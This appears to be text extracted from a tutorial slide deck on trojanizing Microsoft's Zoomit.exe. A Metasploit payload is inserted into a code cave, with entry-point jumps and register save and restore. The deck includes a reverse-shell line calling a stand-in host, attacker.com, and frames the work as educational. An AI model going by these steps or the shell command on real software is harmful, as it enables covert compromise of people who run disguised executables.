Malware Development - Trojan Horse
Malware Development - Trojan Horse
Malware Development - Trojan Horse
TROJAN HORSE
By,
Jephin john
INTRODUCTION
Malware Development serves a crucial role in
letting the good guys in cybersecurity, the
Redteamers, Blueteamers, Malware Analysts, to
understand the core funtionalities and execution
methods of a malicious software.
return 0;
Code Cave:
Malicious code
bash -i >&
/dev/tcp/attacker.com/900
1 0>&1
.
.
3. Now JUMP to
2. Execute
Legitimate Code
Malicious Code
1
III. Trojan Horse Project
In this project, the Zoomit.exe which is a 32 bit executable
belonging to the Microsoft Sysinternals Suite is
reverse engineered to become a Trojan Horse.
2
III b. Generate the payload using
Metasploit Framework
3
III c. Taking a look at the HEXCODE of
the payload.bin
Also take note of the null value to the end of the HEXCODE
“00” as it marks the end of our program.
4
III d. Taking a look at the target
executable “Zoomit.exe” in the
target Windows machine.
Payload.bin
Zoomit.exe
5
III e. Loading Zoomit.exe in x32dbg
Program
Memory Entry point
address
6
III f. JUMP straight to the Code Cave
from the entry point
Program
Memory Entry point
address
(OOAO82E3)
jmp 00A33AD1
(JUMP to Codecave at
start itself)
And we could inject our malicious code within the code cave and
let the program execute those instructions first.
7
III g. Enter the PUSHAD and PUSHFD
instructions at the beginning of the
code cave.
PUSHAD and
PUSHFD
instruction at
beginning of
the code cave
CODE
CAVE
8
III h. Insert the malicious HEXCODE
into the actual code cave
Malicious
Code
NULL BYTE
(0000)
Dont enter the next instructions over the the NULL Byte, leave
it there, as it marks the end of our payload.bin .
9
III i. Add the POPFD and POPAD
instruction and JUMP back to
entry point
10
III i. Patching the Zoomit.exe file
The patched exe was found to have some bugs. So that should
also be fixed.
11
III j. Fixing the bugs and patching the
file again
Now upon fixing the bugs , the executable is patched again and
generated executable is Zoomit-Trojan.exe .
12
III k. Taking a look at the Trojan and
Legitimate executable
Legitimate Trojan
executable executable
13
III l. Executing the Zoomit-Trojan.exe
Malicious execution
occured!!!
Legitimate functions
are executing in
parallel
14
THE END